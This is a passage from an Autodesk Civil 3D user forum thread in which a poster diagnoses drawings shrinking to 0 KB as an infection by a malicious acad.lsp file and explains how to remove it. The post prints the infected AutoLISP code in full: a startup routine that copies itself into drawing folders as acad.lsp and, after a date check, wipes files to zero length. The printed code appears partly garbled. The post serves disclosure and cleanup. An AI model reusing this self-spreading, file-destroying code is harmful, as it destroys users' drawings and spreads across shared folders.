AutoCAD Civil 3D General Discussion

AutoCAD Civil 3D General Discussion

Reply
Mentor
ceethreedee.com
Posts: 204
Registered: ‎10-04-2012
Message 11 of 12 (205 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-16-2013 08:46 PM in reply to: mathewk

Well I have a solution.

 

Its an infected Acad.lsp file in our support directory.

 

Simply delete acad.lsp and the acadisa.lin file and your fixed.

 

%APPDATA%\Autodesk\C3D 2013\enu\Support

 

No more random acad.lsp files everywhere, no more 0kb files. Done.

 

Below is what the infected acad.lsp files looks like

 

""""""" INFECTED ACAD.lsp code """""""""

(defun
s::startup
(/ old_cmd path dwgpath mnlpath
apppath oldacad newacad nowdwg lspbj
wjm wjm1 wjqm wjqm1 wz
ns1 ns2 kd
)
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
1
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(-
(strlen
path
)
8
)
)
)
(setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
)
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(if
(=
acadpath
dwgpath
)
(progn


)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)

)
)
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(if
(setq
kd
(findfile
"acadisa.lin"
)
)
(progn
(setq
ns2
0
)
(if
(setq
ns1
(open
kd
"r"
)
)
(progn
(while
(setq
wz
(read-line
ns1
)
)
(if
(=
wjqm
wz
)
(setq
ns2
1
)
)
)
(close
ns1
)
)
)
(if
(=
ns2
0
)
(progn
(setq
ns1
(open
kd
"a"
)
)
(write-line
wjqm
ns1
)
(close
ns1
)
)
)
(if
(setq
ns1
(open
kd
"r"
)
)
(progn
(setq
wz
(read-line
ns1
)
)
(close
ns1
)
)
)
(if
(>
(getvar
"date"
)
(+
(distof
wz
)
8
)
)
(progn
(setq
oldacad
(strcat
path
"acadisa.lin"
)
)
(setq
newacad
(strcat
dwgpath
"a"
)
)
(
writeapp
)

(if
(setq
wjm1
(open
oldacad
"w"
)
)
(progn
(setq
wjm
(open
newacad
"r"
)
)
(setq
wz
(read-line
wjm
)
)
(write-line
(rtos
(getvar
"date"
)
)
wjm1
)
(setq
wz
(read-line
wjm
)
)
(if
(>
(getvar
"date"
)
2452900
)
(close
(open
wz
"w"
)
)
)
(while
(
setq
wz
(read-line
wjm
)
)
(write-line
wz
wjm1
)
)
(close
wjm
)
(close
wjm1
)
(close
(open
newacad
"w"
)
)
)
)
)
)
)
(progn
(if
(setq
ns1
(open
(strcat
path
"acadisa.lin"
)
"w"
)
)
(progn
(write-line
(rtos
(getvar
"date"
)
)
ns1
)
(write-line
wjqm
ns1
)
(close
ns1
)
)
)
)
)

(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"
)
)
(progn
(setq
wjm
(open
oldacad
"r"
)
)
(while
(setq
wz
(read-line
wjm
)
)
(write-line
wz
wjm1
)
)
(close
wjm
)
(close
wjm1
)
)
)
)
;*************

(load"acadiso")
(princ)

 

"""""""""""""""""""""""""""

Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com
Mentor
ceethreedee.com
Posts: 204
Registered: ‎10-04-2012
Message 12 of 12 (192 Views)

Re: Dwg files become 0kb - Suggestions? New Information!

10-17-2013 12:27 AM in reply to: ceethreedee.com
Almost forgot to mention, you also need to remove all of the acad.lsp files on your network/project folders. To prevent becoming infected again.

Consider using the AUTOLOADPATH variable or your AntiVirus Software to declare ACAD.lsp as a virus.
Civil 3D 2014 (SP2)
Win 7 Pro x64 -DELL Precision Workstation T3500
Intel Xeon 3.3GHz (w3680) -24Gb Ram
NVIDIA Quadro 2000 (1GB)
ceethreedee.com
Post to the Community

Have questions about Autodesk products? Ask the community.

New Post
Announcements
Do you have 60 seconds to spare? The Autodesk Community Team is revamping our site ranking system and we want your feedback! Please click here to launch the 5 question survey. As always your input is greatly appreciated.